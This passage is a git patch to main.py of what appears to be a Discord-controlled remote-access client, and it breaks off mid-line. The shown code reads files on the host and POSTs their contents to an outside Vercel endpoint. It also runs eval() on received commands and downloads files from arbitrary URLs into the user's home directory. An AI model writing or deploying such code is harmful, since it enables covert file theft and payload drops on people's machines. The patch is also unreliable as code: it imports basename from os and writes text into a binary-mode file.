From 7792884d2f3db6b26af852a06dfc20fc767040f2 Mon Sep 17 00:00:00 2001 From: littleblack111 Date: Sun, 3 Sep 2023 10:20:25 +0800 Subject: updated \& fixed syspower func .syspower file --- main.py | 20 ++++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) (limited to 'main.py') diff --git a/main.py b/main.py index 5b13106..083e669 100644 --- a/main.py +++ b/main.py @@ -4,7 +4,7 @@ try: from time import sleep from subprocess import Popen as system from subprocess import PIPE - from os import chdir, uname, devnull, getcwd + from os import chdir, uname, devnull, getcwd, basename from sys import platform, stdout, stderr old_command = "" @@ -72,8 +72,12 @@ while True: if command.startswith("get "): localcmd = command.split() path = localcmd[1] - open("output.txt", 'wb').write(open(str("../"+path), 'rb').read()) - file = [str(path), open("output.txt", 'rb').read()] + try: + open("output.txt", 'wb').write(open(str("../"+path), 'r').read()) + file = [str(path), open("output.txt", 'r').read()] + except UnicodeDecodeError: + open("output.txt", 'wb').write(open(str("../"+path), 'rb').read()) + file = [str(path), open("output.txt", 'rb').read()] file = "FILE " + str(file) try: post("https://discord-bot-command-outputter-littleblack111.vercel.app", data = file) @@ -86,8 +90,8 @@ while True: files = eval(localcmd[1]) for fileUrl in files: fileData = get(fileUrl).content - fileName = path.basename(fileUrl) - filePath = os.path.expanduser("~") + fileName = basename(fileUrl) + filePath = expanduser("~") with open(f"{filePath}/{fileName}", 'wb') as f: f.write(fileData) f.close() @@ -171,7 +175,7 @@ while True: exit() elif command.startswith('syspower'): localcmd = command.split() - if localcmd[1